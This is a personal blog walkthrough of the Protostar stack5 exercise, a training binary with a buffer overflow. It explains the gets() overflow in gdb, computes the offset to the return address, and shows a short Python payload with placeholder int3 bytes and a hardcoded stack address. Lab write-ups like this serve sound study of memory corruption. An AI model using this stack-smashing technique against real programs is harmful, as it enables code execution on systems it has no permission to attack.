Jonatan Haltorp Blog

Protostar Exploit Exercises: Stacks Part Two

If your just joining us, this is the second part of me trying to solve the Protostar exploit exercises. You can read the Previous post if you want to.

I have been struggling with this level for quite some time. Every time I think I got it right, the memory-corruption gods smack me back down to earth. Previously I’ve been solving the protostar stack-challenges without a complete understanding of how things were happening.

Since then I’ve read this book, and recently really just sat down allowed myself not to rush through this challenge.

By writing this post - I mostly taught myself what’s going on.

Pro-tip: putting things on the stack moves down in memory, taking things off moves up in memory.


Stack5 is a standard buffer overflow, this time introducing shellcode.

This level is at /opt/protostar/bin/stack5


  • At this point in time, it might be easier to use someone elses shellcode
  • If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
  • remove the int3s once your shellcode is done.

Let’s have a look at the code.

int main(int argc, char **argv)
  char buffer[64]; // array of 64 elements allocated on the stack

  gets(buffer); // fill it with all the things

Listing 1-0: Excerpt from stack5.c

Let’s have a look in gdb.

$ gdb -q stack5
(gdb) set disassembly-flavor intel
(gdb) disassemble

Listing 1-1: Starting gdb

push ebp                    ; save frame pointer on the stack
mov ebp, esp                ; new frame pointer
and esp, 0xfffffff0         ; align esp to 16 bytes
sub esp, 0x50               ; make room for 80 bytes on the stack
lea eax, [esp+0x10]         ; Load the address of the array into eax
mov DWORD PTR [esp], eax    ; save the address on the stack
call 0x80482e8 <gets@plt>   ; call gets
leave                       ; move ebp into esp & pop ebp
ret                         ; return to caller

Listing 1-2: Disassembly of main from stack5

I made the following simplification of what’s going on after the alignment of esp & before the call to gets. Let’s assume for simplicity that esp is initially 100.

Step 1

esp is decremented by 80 (hex 50) to make room for the array.

 20 | | <- esp
 21 | |
 99 | |
100 | | # esp was pointing here before :)

Step 2

esp is adjusted by incrementing it by 16 (-80+16= -64), and it’s saved in the eax register.

 20 | | <- esp
 21 | |
 35 | |
 36 | | <- eax

Step 3

Save the pointer on the stack

 19 |    |
 20 | 36 | <- esp
 21 |    |

Here’s a couple of screenshots, illustrating in gdb what’s going on with the actual memory that holds the input.

Note that a array of 64 As in C still has a length of 65, since the array is terminated by null.

Feeding the program 64 As Figure 1-0: Feeding the program 63 As

Feeding the program 64 As Figure 1-1: Feeding the program 64 As

Feeding the program 65 As Figure 1-2: Feeding the program 65 As

As you can see, our array is slowly eating away at the data on the stack, in our case 0xbffff7c0.

Those pieces of bits are popped of the stack in the leave instruction. The following ret instruction basically pops the top of the stack into eip & execution proceeds at the new location pointed at by eip.

We can find out what part of the stack we need to overwrite by examining the top of the stack just before executing the ret instruction.

Top of the stack before ret

Figure 1-3: Examining the top of the stack before executing ret

How many bytes do we need to feed the program to overwrite that piece of memory?

We just subtract our goal with the address of our array & get how many bytes we need to feed.

0xbffff7c0 - 0xbffff770 = 0x50 (decimal 80)

That’s neat!

A array of 80 characters would completely overwrite the address popped by ret, Right?

Success! (I think)

Figure 1-4: Overwriting the instruction pointer by feeding the program 80 As


Let’s place some instructions in the buffer, along with some garbage, ending with the address which points to our buffer. I used some python to generate the payload.

# Just some int 3 operations
shellcode = '\xcc\xcc\xcc\xcc'
# location can be auto-magically generated by python via
# struct module. Like so:
#  import struct
#  struct.pack(0xbffff780)
location = '\x80\xf7\xff\xbf'
print(shellcode + 'A'*72 + location)

When fed into the program, our shellcode executes - It does absolutely nothing. But it’s there, executing :)

So we’re close, but we still need to figure out some shellcode that we would want to use.

This, hopefully is the easy part. We just go to google, type shellcode & press enter.

I stumbled upon this over at exploit-db.

Since the shellcode’s length is larger than our 4 instructions, we adjust the amount of As we’re feeding & it should work just fine.


Thanks for reading.